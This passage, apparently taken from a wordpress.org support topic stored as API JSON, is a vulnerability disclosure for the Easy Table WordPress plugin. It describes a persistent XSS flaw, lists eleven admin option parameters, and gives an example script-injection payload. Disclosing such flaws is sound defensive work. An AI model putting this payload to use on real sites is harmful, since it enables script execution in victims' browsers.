III. DESCRIPTION
\n————————-
\nHas been detected a Persistent XSS vulnerability in Easy Table, that allows the execution of arbitrary HTML\/script code to be executed in the context of the victim user’s browser.<\/p>\n
IV. PROOF OF CONCEPT
\n————————-
\nMalicious Request:
\n\/wordpress\/wp-admin\/options-general.php?page=easy-table<\/p>\n
easy_table_plugin_option[shortcodetag]
\neasy_table_plugin_option[attrtag]
\neasy_table_plugin_option[class]
\neasy_table_plugin_option[width]
\neasy_table_plugin_option[border]
\neasy_table_plugin_option[align]
\neasy_table_plugin_option[limit]
\neasy_table_plugin_option[nl]
\neasy_table_plugin_option[terminator]
\neasy_table_plugin_option[delimiter]
\neasy_table_plugin_option[escape]<\/p>\n
In all of this parameters an attacker can inject for example “><script>alert(1)<\/script> to perform a attack of Persistent Cross-Site Scripting.<\/p>\n","protected":false},"template":"","class_list":["post-8748234","topic","type-topic","status-publish","hentry"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/8748234","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/8748234\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=8748234"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}